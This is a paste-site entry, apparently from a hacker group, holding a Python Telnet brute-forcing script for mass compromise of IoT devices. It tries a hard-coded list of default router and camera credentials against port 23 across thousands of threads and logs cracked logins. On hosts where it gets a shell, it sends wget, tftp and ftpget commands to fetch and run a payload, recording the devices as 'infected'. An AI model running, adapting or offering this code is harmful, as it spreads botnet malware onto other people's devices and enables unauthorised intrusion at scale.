KekSec icon

New op.py Telnet bruter

KekSec | PRO | 05/23/22 05:06:42 AM UTC | 0 ⭐ | 1088 👁️ | Never ⏰ | []
Python |

6.35 KB

|

None

|

0 👍

/

0 👎

#!/usr/bin/python
import threading
import sys, os, re, time, socket, random,  select
if len(sys.argv) < 3:
    print "Usage: cat list.txt | python "+sys.argv[0]+" <threads> <output file>"
    sys.exit()
 
wget = "" #wget command to send
tftp = "" #tftp command to send
 
combo = [ 
        "root:root",
        "root:",
        "admin:admin",
        "support:support",
        "user:user",
        "admin:",
        "admin:password",
        "root:vizxv",
        "root:admin",
        "root:xc3511",
        "root:888888",
        "root:xmhdipc",
        "root:default",
        "root:juantech",
        "root:123456",
        "root:54321",
        "root:12345",
        "root:pass",
        "ubnt:ubnt",
        "root:klv1234",
        "root:Zte521",
        "root:hi3518",
        "root:jvbzd",
        "root:anko",
        "root:zlxx.",
        "root:7ujMko0vizxv",
        "root:7ujMko0admin",
        "root:system",
        "root:ikwb",
        "root:dreambox",
        "root:user",
        "root:realtek",
        "root:00000000",
        "admin:1111111",
        "admin:1234",
        "admin:12345",
        "admin:54321",
        "admin:123456",
        "admin:7ujMko0admin",
        "admin:1234",
        "admin:pass",
        "admin:meinsm",
        "admin:admin1234",
        "root:1111",
        "admin:smcadmin",
        "admin:1111",
        "root:666666",
        "root:password",
        "root:1234",
        "root:klv123",
        "Administrator:admin",
        "service:service",
        "supervisor:supervisor",
        "guest:guest",
        "guest:12345",
        "guest:12345",
        "admin1:password",
        "administrator:1234",
        "666666:666666",
        "888888:888888",
        "tech:tech",
        "mother:fucker"
]
 
 
threads = int(sys.argv[1])
output_file = sys.argv[2]
 
def readUntil(tn, string, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.1)
        if string in buf: return buf
    raise Exception('TIMEOUT!')
 
def recvTimeout(sock, size, timeout=8):
    sock.setblocking(0)
    ready = select.select([sock], [], [], timeout)
    if ready[0]:
        data = sock.recv(size)
        return data
    return ""
 
global active
active = 0
global fh
fh = open(output_file, "a")
 
class router(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        global active
        global fh
        active += 1
        username = ""
        password = ""
        cracked = False
        for passwd in combo:
            if cracked:
                break
            if ":n/a" in passwd:
                password=""
            else:
                password=passwd.split(":")[1]
            if "n/a:" in passwd:
                username=""
            else:
                username=passwd.split(":")[0]
            try:
                tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                tn.settimeout(0.5)
                tn.connect((self.ip, 23))
            except Exception:
                try:
                    tn.close()
                except:
                    pass
                break
            try:
                hoho = ''
                hoho += readUntil(tn, ":")
                if ":" in hoho:
                    tn.send(username + "\n")
                    time.sleep(0.1)
                hoho = ''
                hoho += readUntil(tn, ":")
                if ":" in hoho:
                    tn.send(password + "\n")
                    time.sleep(0.8)
                else:
                    pass
                prompt = ''
                prompt += tn.recv(8912)
                if ">" in prompt and "ONT" not in prompt:
                    success = True
                elif "#" in prompt or "$" in prompt or "root@" in prompt or ">" in prompt:
                    success = True
                else:
                    tn.close()
                if success == True:
                    try:
                        print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
                        cracked = True
                        fh.write(self.ip + ":23 " + username + ":" + password + "\n")
                        fh.flush()
                        tn.send("sh\r\n")
                        time.sleep(0.1)
                        tn.send("shell\r\n")
                        time.sleep(0.1)
                        tn.send("ls /\r\n")
                        time.sleep(1)
                        timeout = 8
                        buf = ''
                        start_time = time.time()
                        while time.time() - start_time < timeout:
                            buf += recvTimeout(tn, 8912)
                            time.sleep(0.1)
                            if "tmp" in buf and "unrecognized" not in buf:
                                f = open("infected.txt", "a")
                                f.write(self.ip + ":23 " + username + ":" + password + "\n")
                                f.close()
                                print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
                                tn.send(wget + "\r\n")
                                time.sleep(10)
                                tn.send(tftp + "\r\n")
                                time.sleep(10)
                                tn.send(ftpget + "\r\n")
                                time.sleep(10)
                                tn.close()
                                break
                        tn.close()
                        break
                    except:
                        tn.close()
                else:
                    tn.close()
            except Exception:
                tn.close()
        active -= 1
 
def worker():
    global active
    while 1:
        while active > 2048:
            time.sleep(0.1)
            
        try:
            thread = router(raw_input())
            thread.start()
          
        except:
            pass
 
worker()

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎